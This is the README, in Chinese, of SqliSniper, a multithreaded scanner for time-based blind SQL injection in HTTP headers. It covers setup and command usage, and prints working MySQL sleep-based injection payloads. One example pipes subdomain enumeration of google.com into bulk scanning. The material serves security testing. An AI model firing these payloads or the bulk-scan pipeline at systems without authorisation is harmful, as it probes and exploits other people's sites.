功能特点 • 安装 • 使用方法 • 运行 SqliSniper • 贡献 •
SqliSniper 是一个强大的 Python 工具,用于检测 HTTP 请求头中的基于时间的盲 SQL 注入。它通过多线程快速扫描并识别潜在漏洞,提高了安全评估过程的效率和速度。与其他扫描器不同,SqliSniper 旨在消除误报,并在检测到漏洞时发送警报,内置了 Discord 通知功能。

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt
这将显示工具的帮助信息。以下是它支持的所有选项。
ubuntu:~/sqlisniper$ ./sqlisniper.py -h
███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██████╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
-: 作者:Muhammad Danial :-
usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]
Detect SQL injection by sending malicious queries
options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads
可以使用 -u 标志提供 URL 以进行单个站点扫描
./sqlisniper.py -u http://example.com
-r 标志允许 SqliSniper 读取包含多个 URL 的文件以进行同时扫描。
./sqlisniper.py -r url.txt
SqliSniper 也可以通过 -p 标志以及管道输入来工作。
cat url.txt | ./sqlisniper.py -p
管道功能 facilitates 与其他工具的无缝集成。例如,你可以使用 subfinder 和 httpx 等工具,然后将它们的输出传递给 SqliSniper 进行批量扫描。
subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p
默认情况下,SqliSniper 使用 payloads.txt 文件。然而,可以使用 --payload 标志提供自定义 payload 文件。
./sqlisniper.py -u http://example.com --payload mssql_payloads.txt
使用自定义 payload 文件时,请确保将休眠时间替换为 %__TIME_OUT__%。SqliSniper 会迭代动态调整休眠时间以减轻潜在的误报。
payload 文件应如下所示:
ubuntu:~/sqlisniper$ cat payloads.txt
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z
如果只想使用单个 payload 进行测试,可以使用 --single-payload 标志。请确保将休眠时间替换为 %__TIME_OUT__%。
./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"
Headers 保存在 headers.txt 文件中。要扫描自定义 header,请将自定义 HTTP 请求 Header 保存在 headers.txt 文件中。
ubuntu:~/sqlisniper$ cat headers.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1
SqliSniper 还提供 Discord 警报通知,通过 Discord Webhook 提供实时警报。在大规模扫描中,此功能非常宝贵,允许在检测到漏洞时立即收到通知。
./sqlisniper.py -r url.txt --discord <web_hookurl>
可以使用 --threads 标志定义线程数。
./sqlisniper.py -r url.txt --threads 10
注意: 必须考虑的是,使用更高的线程数可能会导致潜在的误报或遗漏有效问题。由于基于时间的 SQL 注入的特性,建议使用较低的线程以获得更准确的检测。
法律免责声明未经事先双方同意,使用此工具攻击目标是被严格禁止的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对因使用本程序而造成的任何误用或损害负责。 |
欢迎向 SqliSniper 贡献任何改进。无论是功能增强、错误修复还是文档改进,每一份帮助都值得感谢。
SqliSniper 遵循 MIT 许可证
SqliSniper 使用
和满满的爱由 @Muhammad Danial 制作。